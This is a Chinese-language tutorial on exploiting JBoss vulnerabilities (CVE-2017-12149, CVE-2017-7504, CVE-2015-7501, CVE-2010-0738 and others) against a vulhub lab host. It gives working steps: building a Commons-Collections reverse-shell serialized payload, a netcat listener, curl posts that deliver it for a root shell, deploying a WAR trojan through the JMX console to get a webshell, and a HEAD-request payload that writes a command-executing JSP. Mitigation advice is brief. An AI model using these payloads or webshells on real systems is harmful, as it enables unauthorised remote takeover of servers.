JBoss简介
是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
JBoss常见漏洞
反序列化漏洞
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
影响版本:
Jboss AS 5.x
Jboss AS 6.x
1、环境搭建
这里直接使用vulhub进行搭建
2、漏洞复现
(1)直接访问漏洞存在点
http://192.168.11.12:8080/invoker/readonly
可以看到返回 500 页面说明页面存在的
(2)这里使用工具:JavaDeserH2HC
#1 生成 ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#2 生成 ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port (ip是监听服务端的ip)
#3 用netcat进行监听
nc -lvp port
#4 漏洞利用
curl http://192.168.11.12:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
利用成功之后得到的是root权限
参考:https://mp.weixin.qq.com/s/zUJMt9hdGoz1TEOKy2Cgdg
JBossMQ JMS (CVE-2017-7504)
影响版本:
Jboss AS 4.x
漏洞复现:
(1)访问
http://192.168.11.12:8080/jbossmq-httpil/HTTPServerILServlet
返回 This is the JBossMQ HTTP-IL 说明页面存在
(2)漏洞利用
直接使用之前生成的 “ *.ser”
#1 用netcat进行监听
nc -lvp port
#2 漏洞利用
curl http://192.168.11.12:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功反弹root权限的shell
JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
漏洞复现
(1)访问
http://192.168.11.12:8080/invoker/JMXInvokerServlet
返回如下的response,说明接口是开放的,此接口存在漏洞
(2)漏洞利用
这里还是直接使用之前生成的 “ *.ser”
#1 用netcat进行监听
nc -lvp port
#2 漏洞利用
curl http://192.168.11.12:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功反弹root权限的shell
EJBInvokerServlet 反序列化漏洞( CVE-2013-4810)
漏洞利用方法和上面大同小异不再赘述
关于序列化的漏洞网上也有很多的EXP,例如也可以使用DeserializeExploit.jar直接可以执行命令,上传文件等等。
参考文档:
https://vulhub.org/#/environments/jboss/
https://www.freebuf.com/vuls/186948.html
JMX Console未授权访问
HtmlAdaptor addURL() 文件上传漏洞
利用后台jboss.deployment -> DeploymentScanner -> Java.net.URL类型 addURL()
漏洞配置
(1)关闭安全配置(/opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml)
(2)关闭安全认证,注释掉
<!--
<security-constraint>
<web-resource-collection>
<web-resource-name>HtmlAdaptor</web-resource-name>
<description>An example security config that only allows users with the
role JBossAdmin to access the HTML JMX console web application
</description>
<url-pattern>/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>JBossAdmin</role-name>
</auth-constraint>
</security-constraint>
-->
漏洞利用
(1)访问
http://192.168.11.12:8080/jmx-console/
(2)点击jboss.deployment进入应用部署页面
(3)这里用kali自带的apache服务器,并且存在war木马包
(4)通过addurl参数进行远程的木马部署
(5)部署成功后返回 successfully ,之后访问
http://192.168.11.12:8080/job(war包名)/job.jsp(木马名)
成功获得一个webshell
修复建议:
(1)开启安全配置和安全认证
(2)配置用户密码以及用户权限
./opt/jboss/jboss4/server/default/conf/login-config.xml
#用户配置文件位置
./opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties
./opt/jboss/jboss4/server/default/conf/props/jmx-console-roles.properties
在开启安全配置和认证之后添加新的用户
重新启动jboss之后再次访问:
store()方法(CVE-2007-1036)漏洞
利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法
payload
http://192.168.11.12:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
通过访问上面的url定位到store()方法
通过拼接传入对应的jsp即可getshell,这里不再赘述。
CVE-2010-0738漏洞
利用原理与CVE-2007-1036相同,只不过利用HEAD请求方法绕过GET和POST请求的限制
HEAD /jmx-console/HtmlAdaptor?
action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIn
dex=6&arg0=../jmx-console.war/&arg1=hax0rwin&arg2=.jsp&arg3=
<%Runtime.getRuntime().exec(request.getParameter("i"));%>&arg4=True
CVE-2005-5750漏洞
利用原理和CVE-2007-1036漏洞相同,只不过该漏洞利用methodIndex进行store()方法的调用。其中methodIndex是通过方法的编号进行调用。这里不再赘述。
JBoss seam2模板注入(CVE-2010-1871)
参考:https://www.freebuf.com/vuls/186948.html
payload
http://192.168.11.12:8080/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{command}
尾巴:
相比于其他中间件,JBoss的漏洞主要偏向于java反序列化攻击,一个反序列化攻击的影响是极大的。甚至一个是管理员的疏忽导致的弱口令或者未授权都可能导致被getshell。
声明:
- 笔者初衷用于分享与交流网络知识,若读者因此作出任何危害网络安全行为后果自负,与作者无关!